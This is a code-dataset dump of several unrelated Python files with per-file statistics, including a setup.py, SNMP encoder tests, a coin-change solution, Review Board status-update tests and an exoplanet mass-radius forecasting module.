import io import os import sys from shutil import rmtree from setuptools import find_packages, setup, Command # Package meta-data. NAME = 'replicable' DESCRIPTION = 'Reproducible storage of gridded and stochastically generated simulated datasets' URL = 'https://github.com/philastrophist/replicable' EMAIL = 'shaun.c.read@gmail.com' AUTHOR = 'philastrophist' # What packages are required for this module to be executed? with open('requirements.txt', 'r') as f: REQUIRED = f.readlines() # The rest you shouldn't have to touch too much :) # ------------------------------------------------ # Except, perhaps the License and Trove Classifiers! # If you do change the License, remember to change the Trove Classifier for that! here = os.path.abspath(os.path.dirname(__file__)) # Import the README and use it as the long-description. # Note: this will only work if 'README.rst' is present in your MANIFEST.in file! with io.open(os.path.join(here, 'README.rst'), encoding='utf-8') as f: long_description = '\n' + f.read() # Load the package's __version__.py module as a dictionary. about = {} with open(os.path.join(here, NAME, '__version__.py')) as f: exec(f.read(), about) class UploadCommand(Command): """Support setup.py upload.""" description = 'Build and publish the package.' user_options = [] @staticmethod def status(s): """Prints things in bold.""" print('\033[1m{0}\033[0m'.format(s)) def initialize_options(self): pass def finalize_options(self): pass def run(self): try: self.status('Removing previous builds...') rmtree(os.path.join(here, 'dist')) except OSError: pass self.status('Building Source and Wheel (universal) distribution...') os.system('{0} setup.py sdist bdist_wheel --universal'.format(sys.executable)) self.status('Uploading the package to PyPi via Twine...') os.system('twine upload dist/*') sys.exit() # Where the magic happens: setup( name=NAME, version=about['__version__'], description=DESCRIPTION, long_description=long_description, author=AUTHOR, author_email=EMAIL, url=URL, packages=find_packages(exclude=('tests',)), #If your package is a single module, use this instead of 'packages': # py_modules=['mypackage'], entry_points={}, install_requires=REQUIRED, include_package_data=True, license='MIT', classifiers=[ # Trove classifiers # Full list: https://pypi.python.org/pypi?%3Aaction=list_classifiers 'License :: OSI Approved :: MIT License', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: Implementation :: CPython', 'Programming Language :: Python :: Implementation :: PyPy' ], # $ setup.py publish support. cmdclass={ 'upload': UploadCommand, }, )
30.377358
95
0.64472
import io import os import sys from shutil import rmtree from setuptools import find_packages, setup, Command NAME = 'replicable' DESCRIPTION = 'Reproducible storage of gridded and stochastically generated simulated datasets' URL = 'https://github.com/philastrophist/replicable' EMAIL = 'shaun.c.read@gmail.com' AUTHOR = 'philastrophist' with open('requirements.txt', 'r') as f: REQUIRED = f.readlines() # ------------------------------------------------ # Except, perhaps the License and Trove Classifiers! # If you do change the License, remember to change the Trove Classifier for that! here = os.path.abspath(os.path.dirname(__file__)) # Import the README and use it as the long-description. # Note: this will only work if 'README.rst' is present in your MANIFEST.in file! with io.open(os.path.join(here, 'README.rst'), encoding='utf-8') as f: long_description = '\n' + f.read() # Load the package's __version__.py module as a dictionary. about = {} with open(os.path.join(here, NAME, '__version__.py')) as f: exec(f.read(), about) class UploadCommand(Command): description = 'Build and publish the package.' user_options = [] @staticmethod def status(s): print('\033[1m{0}\033[0m'.format(s)) def initialize_options(self): pass def finalize_options(self): pass def run(self): try: self.status('Removing previous builds...') rmtree(os.path.join(here, 'dist')) except OSError: pass self.status('Building Source and Wheel (universal) distribution...') os.system('{0} setup.py sdist bdist_wheel --universal'.format(sys.executable)) self.status('Uploading the package to PyPi via Twine...') os.system('twine upload dist/*') sys.exit() setup( name=NAME, version=about['__version__'], description=DESCRIPTION, long_description=long_description, author=AUTHOR, author_email=EMAIL, url=URL, packages=find_packages(exclude=('tests',)), entry_points={}, install_requires=REQUIRED, include_package_data=True, license='MIT', classifiers=[ 'License :: OSI Approved :: MIT License', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: Implementation :: CPython', 'Programming Language :: Python :: Implementation :: PyPy' ], cmdclass={ 'upload': UploadCommand, }, )
true
true
f71f2c2568110ede12234a40ddb12f9d98cafa22
4,441
py
Python
test/test_rfc1155.py
jpwarren/libsnmp
c676ce243bcf6ede2bb2534dceb9486971b6ff69
[ "MIT" ]
1
2019-12-02T04:07:23.000Z
2019-12-02T04:07:23.000Z
test/test_rfc1155.py
jpwarren/libsnmp
c676ce243bcf6ede2bb2534dceb9486971b6ff69
[ "MIT" ]
null
null
null
test/test_rfc1155.py
jpwarren/libsnmp
c676ce243bcf6ede2bb2534dceb9486971b6ff69
[ "MIT" ]
2
2019-12-02T04:07:30.000Z
2019-12-02T04:18:57.000Z
#!/usr/bin/env python # $Id$ # $Revision$ # # libsnmp - a Python SNMP library # Copyright (C) 2003 Unicity Pty Ltd <libsnmp@unicity.com.au> # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # # Unit tests for the encoder/decoder import unittest import logging import string import sys sys.path.append('../lib') from libsnmp import util from libsnmp import debug from libsnmp import rfc1155 class EncoderTest(unittest.TestCase): def setUp(self): self.log = logging.getLogger('EncoderTest') self.log.setLevel(logging.DEBUG) return def tearDown(self): logging.shutdown() return def test_objectid_equality(self): """test equality of objects sourced from different initialisation values""" input_a = [1,3,6,1,2,1,2,3,234,23,4,23,423,234,23423423,4234] # list input_b = tuple(input_a) # tuple input_c = '.'.join( [ str(x) for x in input_a] ) # string no leading dot input_d = '.' + input_c # string leading dot a = rfc1155.ObjectID(input_a) b = rfc1155.ObjectID(input_b) c = rfc1155.ObjectID(input_c) d = rfc1155.ObjectID(input_d) e = rfc1155.ObjectID('.1.3') f = rfc1155.ObjectID().decode(a.encode())[0] g = rfc1155.Asn1Object().decode(a.encode())[0] self.assertEquals(a, a) self.assertEquals(a, b) self.assertEquals(a, c) self.assertEquals(a, d) self.assertNotEquals(a, e) self.assertEquals(a, f) self.assertEquals(a, g) self.assertEquals(b, a) self.assertEquals(b, b) self.assertEquals(b, c) self.assertEquals(b, d) self.assertNotEquals(b, e) self.assertEquals(b, f) self.assertEquals(b, g) pass def test_integer(self): a = rfc1155.Integer(0) b = rfc1155.Integer(0x7FFFFFFF) c = rfc1155.Integer(-1) d = rfc1155.Integer(-0x7FFFFFF) return def test_ip_address(self): addresses = (('0.0.0.0', '@\x04\x00\x00\x00\x00'), ('255.255.255.255', '@\x04\xff\xff\xff\xff'), ('1.2.3.4', '@\x04\x01\x02\x03\x04'), ('10.0.0.1', '@\x04\n\x00\x00\x01'), ('254.154.1.0', '@\x04\xfe\x9a\x01\x00'), ('0.0.0.1', '@\x04\x00\x00\x00\x01'), ('255.0.0.0', '@\x04\xff\x00\x00\x00')) for input, output in addresses: a = rfc1155.IPAddress(input) raw = a.encode() b = rfc1155.Asn1Object().decode(raw)[0] self.assertEquals(a,b) pass return def test_objectid_length(self): """test length""" input_a = [1,3,6,1,2,1,2,3,234,23,4,23,423,234,23423423,4234] # list input_b = tuple(input_a) # tuple input_c = '.'.join( [ str(x) for x in input_a] ) # string no leading dot input_d = '.' + input_c # string leading dot a = rfc1155.ObjectID(input_a) b = rfc1155.ObjectID(input_b) c = rfc1155.ObjectID(input_c) d = rfc1155.ObjectID(input_d) e = rfc1155.ObjectID('.1.3') self.assertEquals(len(a), len(input_a)) self.assertEquals(len(b), len(input_a)) self.assertEquals(len(c), len(input_a)) self.assertEquals(len(d), len(input_a)) self.assertNotEquals(len(b), len(e)) return pass if __name__ == '__main__': unittest.main()
32.416058
83
0.563837
import unittest import logging import string import sys sys.path.append('../lib') from libsnmp import util from libsnmp import debug from libsnmp import rfc1155 class EncoderTest(unittest.TestCase): def setUp(self): self.log = logging.getLogger('EncoderTest') self.log.setLevel(logging.DEBUG) return def tearDown(self): logging.shutdown() return def test_objectid_equality(self): input_a = [1,3,6,1,2,1,2,3,234,23,4,23,423,234,23423423,4234] input_b = tuple(input_a) input_c = '.'.join( [ str(x) for x in input_a] ) input_d = '.' + input_c a = rfc1155.ObjectID(input_a) b = rfc1155.ObjectID(input_b) c = rfc1155.ObjectID(input_c) d = rfc1155.ObjectID(input_d) e = rfc1155.ObjectID('.1.3') f = rfc1155.ObjectID().decode(a.encode())[0] g = rfc1155.Asn1Object().decode(a.encode())[0] self.assertEquals(a, a) self.assertEquals(a, b) self.assertEquals(a, c) self.assertEquals(a, d) self.assertNotEquals(a, e) self.assertEquals(a, f) self.assertEquals(a, g) self.assertEquals(b, a) self.assertEquals(b, b) self.assertEquals(b, c) self.assertEquals(b, d) self.assertNotEquals(b, e) self.assertEquals(b, f) self.assertEquals(b, g) pass def test_integer(self): a = rfc1155.Integer(0) b = rfc1155.Integer(0x7FFFFFFF) c = rfc1155.Integer(-1) d = rfc1155.Integer(-0x7FFFFFF) return def test_ip_address(self): addresses = (('0.0.0.0', '@\x04\x00\x00\x00\x00'), ('255.255.255.255', '@\x04\xff\xff\xff\xff'), ('1.2.3.4', '@\x04\x01\x02\x03\x04'), ('10.0.0.1', '@\x04\n\x00\x00\x01'), ('254.154.1.0', '@\x04\xfe\x9a\x01\x00'), ('0.0.0.1', '@\x04\x00\x00\x00\x01'), ('255.0.0.0', '@\x04\xff\x00\x00\x00')) for input, output in addresses: a = rfc1155.IPAddress(input) raw = a.encode() b = rfc1155.Asn1Object().decode(raw)[0] self.assertEquals(a,b) pass return def test_objectid_length(self): input_a = [1,3,6,1,2,1,2,3,234,23,4,23,423,234,23423423,4234] input_b = tuple(input_a) input_c = '.'.join( [ str(x) for x in input_a] ) input_d = '.' + input_c a = rfc1155.ObjectID(input_a) b = rfc1155.ObjectID(input_b) c = rfc1155.ObjectID(input_c) d = rfc1155.ObjectID(input_d) e = rfc1155.ObjectID('.1.3') self.assertEquals(len(a), len(input_a)) self.assertEquals(len(b), len(input_a)) self.assertEquals(len(c), len(input_a)) self.assertEquals(len(d), len(input_a)) self.assertNotEquals(len(b), len(e)) return pass if __name__ == '__main__': unittest.main()
true
true
f71f2c91abcfe2546945aacdf89dff8367f6537d
261
py
Python
python_exercises/01Lista_alunos/mostrar_alunos.py
Matheus-IT/lang-python-related
dd2e5d9b9f16d3838ba1670fdfcba1fa3fe305e9
[ "MIT" ]
null
null
null
python_exercises/01Lista_alunos/mostrar_alunos.py
Matheus-IT/lang-python-related
dd2e5d9b9f16d3838ba1670fdfcba1fa3fe305e9
[ "MIT" ]
null
null
null
python_exercises/01Lista_alunos/mostrar_alunos.py
Matheus-IT/lang-python-related
dd2e5d9b9f16d3838ba1670fdfcba1fa3fe305e9
[ "MIT" ]
null
null
null
def mostrar(alunos): print('='*25) for cont in range(3): print(f' {cont+1} aluno {alunos["nomes"][cont]}') print(f' notas {alunos["1nota"][cont]:4.2f}, {alunos["2nota"][cont]:4.2f}, {alunos["3nota"][cont]:4.2f}') print('='*25)
37.285714
114
0.54023
def mostrar(alunos): print('='*25) for cont in range(3): print(f' {cont+1} aluno {alunos["nomes"][cont]}') print(f' notas {alunos["1nota"][cont]:4.2f}, {alunos["2nota"][cont]:4.2f}, {alunos["3nota"][cont]:4.2f}') print('='*25)
true
true
f71f2caaa174ac105310b83de417f8e865ce00e6
991
py
Python
322CoinCange/CoinChange2.py
Easonyesheng/CodePractice
91c8b09c278f5abb67e90f0096fc83bef975647b
[ "MIT" ]
null
null
null
322CoinCange/CoinChange2.py
Easonyesheng/CodePractice
91c8b09c278f5abb67e90f0096fc83bef975647b
[ "MIT" ]
null
null
null
322CoinCange/CoinChange2.py
Easonyesheng/CodePractice
91c8b09c278f5abb67e90f0096fc83bef975647b
[ "MIT" ]
null
null
null
""" 给定不同面额的硬币 coins 和一个总金额 amount。编写一个函数来计算可以凑成总金额所需的最少的硬币个数。如果没有任何一种硬币组合能组成总金额,返回 -1。 来源:力扣(LeetCode) 链接:https://leetcode-cn.com/problems/coin-change 著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。 """ # 用备忘录解决了重叠子问题 # 是一种剪枝 class Solution: def coinChange(self,coins, amount: int): # 备忘录 memo = dict() def dp(n): # 查备忘录,避免重复计算 if n in memo: return memo[n] if n == 0: return 0 if n < 0: return -1 res = float('INF') for coin in set(coins): subproblem = dp(n - coin) if subproblem == -1: continue res = min(res, 1 + subproblem) # 记入备忘录 memo[n] = res if res != float('INF') else -1 return memo[n] return dp(amount) if __name__ == "__main__": s = Solution() coins = [186,419,83,408] amount = 6249 # coins = [1,3,5] # amount = 11 print(s.coinChange(coins,amount))
23.595238
82
0.526741
class Solution: def coinChange(self,coins, amount: int): memo = dict() def dp(n): if n in memo: return memo[n] if n == 0: return 0 if n < 0: return -1 res = float('INF') for coin in set(coins): subproblem = dp(n - coin) if subproblem == -1: continue res = min(res, 1 + subproblem) memo[n] = res if res != float('INF') else -1 return memo[n] return dp(amount) if __name__ == "__main__": s = Solution() coins = [186,419,83,408] amount = 6249 print(s.coinChange(coins,amount))
true
true
f71f2df9d428bc57d6384865ba76147ba636e02e
178
py
Python
prvsnlib/tasks/hostname.py
acoomans/prvsn
af6b313c2e779ae4e3a9cdba0b1c3a1f4b4c085e
[ "BSD-2-Clause" ]
null
null
null
prvsnlib/tasks/hostname.py
acoomans/prvsn
af6b313c2e779ae4e3a9cdba0b1c3a1f4b4c085e
[ "BSD-2-Clause" ]
null
null
null
prvsnlib/tasks/hostname.py
acoomans/prvsn
af6b313c2e779ae4e3a9cdba0b1c3a1f4b4c085e
[ "BSD-2-Clause" ]
null
null
null
import logging from prvsnlib.utils.run import Run def hostname(name, secure=False): logging.header('Hostname ' + name) Run(['hostnamectl', 'set-hostname', name]).run()
22.25
52
0.702247
import logging from prvsnlib.utils.run import Run def hostname(name, secure=False): logging.header('Hostname ' + name) Run(['hostnamectl', 'set-hostname', name]).run()
true
true
f71f2e88ba4935400a5e83c4221be1e001cabc5e
2,826
py
Python
reviewboard/reviews/tests/test_status_update.py
amalik2/reviewboard
676aa2dce38ce619a74f2d4cb3cfae9bce21416e
[ "MIT" ]
2
2020-06-19T14:57:49.000Z
2020-06-19T15:17:40.000Z
reviewboard/reviews/tests/test_status_update.py
amalik2/reviewboard
676aa2dce38ce619a74f2d4cb3cfae9bce21416e
[ "MIT" ]
1
2019-08-03T01:48:33.000Z
2019-08-03T01:48:33.000Z
reviewboard/reviews/tests/test_status_update.py
amalik2/reviewboard
676aa2dce38ce619a74f2d4cb3cfae9bce21416e
[ "MIT" ]
null
null
null
"""Unit tests for reviewboard.reviews.models.base_comment.StatusUpdate.""" from __future__ import unicode_literals from django.contrib.auth.models import AnonymousUser, Permission, User from djblets.testing.decorators import add_fixtures from reviewboard.accounts.models import LocalSiteProfile from reviewboard.testing import TestCase class StatusUpdateTests(TestCase): """Unit tests for reviewboard.reviews.models.base_comment.StatusUpdate.""" fixtures = ['test_users'] def test_is_mutable_by_with_anonymous(self): """Testing StatusUpdate.is_mutable_by with anonymous user""" review_request = self.create_review_request() status_update = self.create_status_update(review_request) self.assertFalse(status_update.is_mutable_by(AnonymousUser())) def test_is_mutable_by_with_owner(self): """Testing StatusUpdate.is_mutable_by with owner""" review_request = self.create_review_request() status_update = self.create_status_update(review_request) self.assertTrue(status_update.is_mutable_by(status_update.user)) def test_is_mutable_by_with_other_user(self): """Testing StatusUpdate.is_mutable_by with other user""" other_user = User.objects.create(username='other-user') review_request = self.create_review_request() status_update = self.create_status_update(review_request) self.assertFalse(status_update.is_mutable_by(other_user)) def test_is_mutable_by_with_other_user_and_can_change_status_perm(self): """Testing StatusUpdate.is_mutable_by with other user with change_statusupdate permission """ other_user = User.objects.create(username='other-user') other_user.user_permissions.add( Permission.objects.get(codename='change_statusupdate')) review_request = self.create_review_request() status_update = self.create_status_update(review_request) self.assertTrue(status_update.is_mutable_by(other_user)) @add_fixtures(['test_site']) def test_is_mutable_by_with_other_user_with_perm_same_local_site(self): """Testing StatusUpdate.is_mutable_by with other user on same LocalSite with change_statusupdate permission """ review_request = self.create_review_request(with_local_site=True) status_update = self.create_status_update(review_request) other_user = User.objects.create(username='other-user') site = review_request.local_site site.users.add(other_user) site_profile = other_user.get_site_profile(site) site_profile.permissions = { 'reviews.change_statusupdate': True, } site_profile.save(update_fields=('permissions',)) self.assertTrue(status_update.is_mutable_by(other_user))
39.25
78
0.7431
from __future__ import unicode_literals from django.contrib.auth.models import AnonymousUser, Permission, User from djblets.testing.decorators import add_fixtures from reviewboard.accounts.models import LocalSiteProfile from reviewboard.testing import TestCase class StatusUpdateTests(TestCase): fixtures = ['test_users'] def test_is_mutable_by_with_anonymous(self): review_request = self.create_review_request() status_update = self.create_status_update(review_request) self.assertFalse(status_update.is_mutable_by(AnonymousUser())) def test_is_mutable_by_with_owner(self): review_request = self.create_review_request() status_update = self.create_status_update(review_request) self.assertTrue(status_update.is_mutable_by(status_update.user)) def test_is_mutable_by_with_other_user(self): other_user = User.objects.create(username='other-user') review_request = self.create_review_request() status_update = self.create_status_update(review_request) self.assertFalse(status_update.is_mutable_by(other_user)) def test_is_mutable_by_with_other_user_and_can_change_status_perm(self): other_user = User.objects.create(username='other-user') other_user.user_permissions.add( Permission.objects.get(codename='change_statusupdate')) review_request = self.create_review_request() status_update = self.create_status_update(review_request) self.assertTrue(status_update.is_mutable_by(other_user)) @add_fixtures(['test_site']) def test_is_mutable_by_with_other_user_with_perm_same_local_site(self): review_request = self.create_review_request(with_local_site=True) status_update = self.create_status_update(review_request) other_user = User.objects.create(username='other-user') site = review_request.local_site site.users.add(other_user) site_profile = other_user.get_site_profile(site) site_profile.permissions = { 'reviews.change_statusupdate': True, } site_profile.save(update_fields=('permissions',)) self.assertTrue(status_update.is_mutable_by(other_user))
true
true
f71f2eef58a8a1cbd7ca50a24cc800b485725414
458
py
Python
docs/scripts/ex_sinews.py
natalia-rubio/py_grama
968c1c0238d7165de3b1b96534791feacc4aa960
[ "MIT" ]
13
2020-02-24T16:51:51.000Z
2022-03-30T18:56:55.000Z
docs/scripts/ex_sinews.py
natalia-rubio/py_grama
968c1c0238d7165de3b1b96534791feacc4aa960
[ "MIT" ]
78
2019-12-30T19:13:21.000Z
2022-02-23T18:17:54.000Z
docs/scripts/ex_sinews.py
natalia-rubio/py_grama
968c1c0238d7165de3b1b96534791feacc4aa960
[ "MIT" ]
7
2020-10-19T17:49:25.000Z
2021-08-15T20:46:52.000Z
import grama as gr import pandas as pd import matplotlib.pyplot as plt from grama.models import make_cantilever_beam md_beam = make_cantilever_beam() md_beam >> \ gr.ev_sinews(n_density=50, n_sweeps=10, df_det="nom", skip=True) >> \ gr.pt_auto() plt.savefig("../images/ex_beam_sinews_doe.png") md_beam >> \ gr.ev_sinews(n_density=50, n_sweeps=10, df_det="nom", skip=False) >> \ gr.pt_auto() plt.savefig("../images/ex_beam_sinews_res.png")
26.941176
74
0.722707
import grama as gr import pandas as pd import matplotlib.pyplot as plt from grama.models import make_cantilever_beam md_beam = make_cantilever_beam() md_beam >> \ gr.ev_sinews(n_density=50, n_sweeps=10, df_det="nom", skip=True) >> \ gr.pt_auto() plt.savefig("../images/ex_beam_sinews_doe.png") md_beam >> \ gr.ev_sinews(n_density=50, n_sweeps=10, df_det="nom", skip=False) >> \ gr.pt_auto() plt.savefig("../images/ex_beam_sinews_res.png")
true
true
f71f325b5474aeccd5e07a92e013e1262655e374
1,320
py
Python
tests/maps_tests/test_setitem.py
lycantropos/dendroid
4315673ef52129909617225df6357416c56a84b3
[ "MIT" ]
null
null
null
tests/maps_tests/test_setitem.py
lycantropos/dendroid
4315673ef52129909617225df6357416c56a84b3
[ "MIT" ]
16
2019-11-02T10:44:20.000Z
2020-09-21T15:22:29.000Z
tests/maps_tests/test_setitem.py
lycantropos/dendroid
4315673ef52129909617225df6357416c56a84b3
[ "MIT" ]
1
2020-03-13T08:41:39.000Z
2020-03-13T08:41:39.000Z
from copy import copy from typing import Tuple from hypothesis import given from dendroid.hints import Item from tests.utils import (Map, is_left_subtree_less_than_right_subtree, to_height, to_max_binary_tree_height, to_min_binary_tree_height) from . import strategies @given(strategies.maps_with_items) def test_properties(map_with_item: Tuple[Map, Item]) -> None: map_, (key, value) = map_with_item map_[key] = value tree = map_.tree assert len(map_) > 0 assert (max(0, to_min_binary_tree_height(tree)) <= to_height(tree) <= to_max_binary_tree_height(tree)) assert is_left_subtree_less_than_right_subtree(tree) @given(strategies.empty_maps_with_items) def test_base_case(map_with_item: Tuple[Map, Item]) -> None: map_, (key, value) = map_with_item map_[key] = value assert len(map_) == 1 assert key in map_ assert map_[key] is value @given(strategies.non_empty_maps_with_items) def test_step(map_with_item: Tuple[Map, Item]) -> None: map_, (key, value) = map_with_item original = copy(map_) map_[key] = value assert len(map_) == len(original) + (key not in original) assert key in map_ assert map_[key] is value
26.4
65
0.665909
from copy import copy from typing import Tuple from hypothesis import given from dendroid.hints import Item from tests.utils import (Map, is_left_subtree_less_than_right_subtree, to_height, to_max_binary_tree_height, to_min_binary_tree_height) from . import strategies @given(strategies.maps_with_items) def test_properties(map_with_item: Tuple[Map, Item]) -> None: map_, (key, value) = map_with_item map_[key] = value tree = map_.tree assert len(map_) > 0 assert (max(0, to_min_binary_tree_height(tree)) <= to_height(tree) <= to_max_binary_tree_height(tree)) assert is_left_subtree_less_than_right_subtree(tree) @given(strategies.empty_maps_with_items) def test_base_case(map_with_item: Tuple[Map, Item]) -> None: map_, (key, value) = map_with_item map_[key] = value assert len(map_) == 1 assert key in map_ assert map_[key] is value @given(strategies.non_empty_maps_with_items) def test_step(map_with_item: Tuple[Map, Item]) -> None: map_, (key, value) = map_with_item original = copy(map_) map_[key] = value assert len(map_) == len(original) + (key not in original) assert key in map_ assert map_[key] is value
true
true
f71f354e1d8b8af7917824080fcc689db368b6da
3,775
py
Python
forecaster/func.py
ahmed-f-alrefaie/forecaster
25b73a533f6195f3e5c703730e63cb3e242c649a
[ "MIT" ]
null
null
null
forecaster/func.py
ahmed-f-alrefaie/forecaster
25b73a533f6195f3e5c703730e63cb3e242c649a
[ "MIT" ]
null
null
null
forecaster/func.py
ahmed-f-alrefaie/forecaster
25b73a533f6195f3e5c703730e63cb3e242c649a
[ "MIT" ]
null
null
null
import numpy as np from scipy.stats import norm, truncnorm from numpy.random import default_rng ### fix the number of different populations n_pop = 4 def pick_random_hyper(all_hyper, sample_size=None): rng = default_rng() size = sample_size or all_hyper.shape[0] return rng.choice(all_hyper, size=sample_size, replace=False) def indicate(M, trans, i): ''' indicate which M belongs to population i given transition parameter ''' ts = np.insert(np.insert(trans, n_pop-1, np.inf), 0, -np.inf) return (M>=ts[i]) & (M<ts[i+1]) def indicate_II(M, trans, i): return (M>=trans[...,i]) & (M<trans[...,i+1]) def split_hyper_linear(hyper): ''' split hyper and derive c ''' c0, slope,sigma, trans = \ hyper[0], hyper[1:1+n_pop], hyper[1+n_pop:1+2*n_pop], hyper[1+2*n_pop:] c = np.zeros_like(slope) c[0] = c0 for i in range(1,n_pop): c[i] = c[i-1] + trans[i-1]*(slope[i-1]-slope[i]) return c, slope, sigma, trans def split_hyper_linear_II(hyper): ''' split hyper and derive c ''' c0, slope,sigma, trans = \ hyper[...,0], hyper[...,1:1+n_pop], hyper[...,1+n_pop:1+2*n_pop], hyper[...,1+2*n_pop:] c = np.zeros_like(slope) c[...,0] = c0 for i in range(1,n_pop): c[...,i] = c[...,i-1] + trans[...,i-1]*(slope[...,i-1]-slope[...,i]) trans = np.insert(np.insert(trans,n_pop-1,np.inf,axis=1), 0, -np.inf, axis=1) return c, slope, sigma, trans def piece_linear_II(hyper, M, prob_R): c, slope, sigma, trans = split_hyper_linear_II(hyper) M = M R = np.zeros_like(M) for i in range(n_pop): ind = indicate_II(M, trans, i) mu = c[...,i] mu[ind] += M[ind]*slope[ind,i] R[ind] = norm.ppf(prob_R[ind],mu[ind],sigma[ind,i]) return R def generate_mass(mean, std, sample_size): mlower = 3e-4 mupper = 3e5 return truncnorm.rvs( (mlower-mean)/std, (mupper-mean)/std, loc=mean, scale=std, size=sample_size) def piece_linear(hyper, M, prob_R): ''' model: straight line ''' M = np.array(M) c, slope, sigma, trans = split_hyper_linear(hyper) R = np.zeros_like(M) for i in range(4): ind = indicate(M, trans, i) mu = c[i] + M[ind]*slope[i] R[ind] = norm.ppf(prob_R[ind], mu, sigma[i]) return R def ProbRGivenM(radii, M, hyper): ''' p(radii|M) ''' c, slope, sigma, trans = split_hyper_linear(hyper) prob = np.zeros_like(M) #print('SHAPE', prob.shape, M.shape, slope.shape) for i in range(4): ind = indicate(M, trans, i) #print('MSHAPE',M[ind].shape) mu = c[i] + M[ind]*slope[i] #print('EXPECTED',mu) sig = sigma[i] prob[ind] = norm.pdf(radii, mu, sig) prob = prob/np.sum(prob) return prob def ProbRGivenM_II(radii, M, hyper): c, slope, sigma, trans = split_hyper_linear_II(hyper) # 10, 100 prob = np.zeros(shape=(radii.shape[0], M.shape[0])) mu = np.zeros_like(prob) for i in range(n_pop): mu[...] = 0.0 ind = indicate_II(M[None,...], trans[:,None,:], i) radii_id,mass_id = np.where(ind) # mu[radii_id, mass_id] = c[radii_id,i] + slope[radii_id,i]*M[mass_id]#M[None,...]*slope[:,None,i][ind] #print(mu[0]) prob[ind] = norm.pdf(radii[radii_id],mu[radii_id, mass_id],sigma[radii_id,i]) #print('C',c[:,None,i]) return (prob/np.sum(prob, axis=1)[:,None]) def random_choice_2d(arr, probs): idx = (probs.cumsum(1) > np.random.rand(probs.shape[0])[:,None]).argmax(1) return arr[idx] def classification( logm, trans ): ''' classify as four worlds ''' count = np.zeros(4) sample_size = len(logm) ts = np.insert(np.insert(trans, n_pop-1, np.inf), 0, -np.inf) for iclass in range(4): ind = indicate_II( logm, ts, iclass) count[iclass] = count[iclass] + ind.sum() prob = count / np.sum(count) * 100. print ('Terran %(T).1f %%, Neptunian %(N).1f %%, Jovian %(J).1f %%, Star %(S).1f %%' \ % {'T': prob[0], 'N': prob[1], 'J': prob[2], 'S': prob[3]}) return None
24.198718
103
0.633907
import numpy as np from scipy.stats import norm, truncnorm from numpy.random import default_rng ) size = sample_size or all_hyper.shape[0] return rng.choice(all_hyper, size=sample_size, replace=False) def indicate(M, trans, i): ts = np.insert(np.insert(trans, n_pop-1, np.inf), 0, -np.inf) return (M>=ts[i]) & (M<ts[i+1]) def indicate_II(M, trans, i): return (M>=trans[...,i]) & (M<trans[...,i+1]) def split_hyper_linear(hyper): c0, slope,sigma, trans = \ hyper[0], hyper[1:1+n_pop], hyper[1+n_pop:1+2*n_pop], hyper[1+2*n_pop:] c = np.zeros_like(slope) c[0] = c0 for i in range(1,n_pop): c[i] = c[i-1] + trans[i-1]*(slope[i-1]-slope[i]) return c, slope, sigma, trans def split_hyper_linear_II(hyper): c0, slope,sigma, trans = \ hyper[...,0], hyper[...,1:1+n_pop], hyper[...,1+n_pop:1+2*n_pop], hyper[...,1+2*n_pop:] c = np.zeros_like(slope) c[...,0] = c0 for i in range(1,n_pop): c[...,i] = c[...,i-1] + trans[...,i-1]*(slope[...,i-1]-slope[...,i]) trans = np.insert(np.insert(trans,n_pop-1,np.inf,axis=1), 0, -np.inf, axis=1) return c, slope, sigma, trans def piece_linear_II(hyper, M, prob_R): c, slope, sigma, trans = split_hyper_linear_II(hyper) M = M R = np.zeros_like(M) for i in range(n_pop): ind = indicate_II(M, trans, i) mu = c[...,i] mu[ind] += M[ind]*slope[ind,i] R[ind] = norm.ppf(prob_R[ind],mu[ind],sigma[ind,i]) return R def generate_mass(mean, std, sample_size): mlower = 3e-4 mupper = 3e5 return truncnorm.rvs( (mlower-mean)/std, (mupper-mean)/std, loc=mean, scale=std, size=sample_size) def piece_linear(hyper, M, prob_R): M = np.array(M) c, slope, sigma, trans = split_hyper_linear(hyper) R = np.zeros_like(M) for i in range(4): ind = indicate(M, trans, i) mu = c[i] + M[ind]*slope[i] R[ind] = norm.ppf(prob_R[ind], mu, sigma[i]) return R def ProbRGivenM(radii, M, hyper): c, slope, sigma, trans = split_hyper_linear(hyper) prob = np.zeros_like(M) for i in range(4): ind = indicate(M, trans, i) mu = c[i] + M[ind]*slope[i] sig = sigma[i] prob[ind] = norm.pdf(radii, mu, sig) prob = prob/np.sum(prob) return prob def ProbRGivenM_II(radii, M, hyper): c, slope, sigma, trans = split_hyper_linear_II(hyper) prob = np.zeros(shape=(radii.shape[0], M.shape[0])) mu = np.zeros_like(prob) for i in range(n_pop): mu[...] = 0.0 ind = indicate_II(M[None,...], trans[:,None,:], i) radii_id,mass_id = np.where(ind) mu[radii_id, mass_id] = c[radii_id,i] + slope[radii_id,i]*M[mass_id] prob[ind] = norm.pdf(radii[radii_id],mu[radii_id, mass_id],sigma[radii_id,i]) return (prob/np.sum(prob, axis=1)[:,None]) def random_choice_2d(arr, probs): idx = (probs.cumsum(1) > np.random.rand(probs.shape[0])[:,None]).argmax(1) return arr[idx] def classification( logm, trans ): count = np.zeros(4) sample_size = len(logm) ts = np.insert(np.insert(trans, n_pop-1, np.inf), 0, -np.inf) for iclass in range(4): ind = indicate_II( logm, ts, iclass) count[iclass] = count[iclass] + ind.sum() prob = count / np.sum(count) * 100. print ('Terran %(T).1f %%, Neptunian %(N).1f %%, Jovian %(J).1f %%, Star %(S).1f %%' \ % {'T': prob[0], 'N': prob[1], 'J': prob[2], 'S': prob[3]}) return None
true
true
f71f35d6375c793ab6bf23096e821ed9afadb12a
873
py
Python
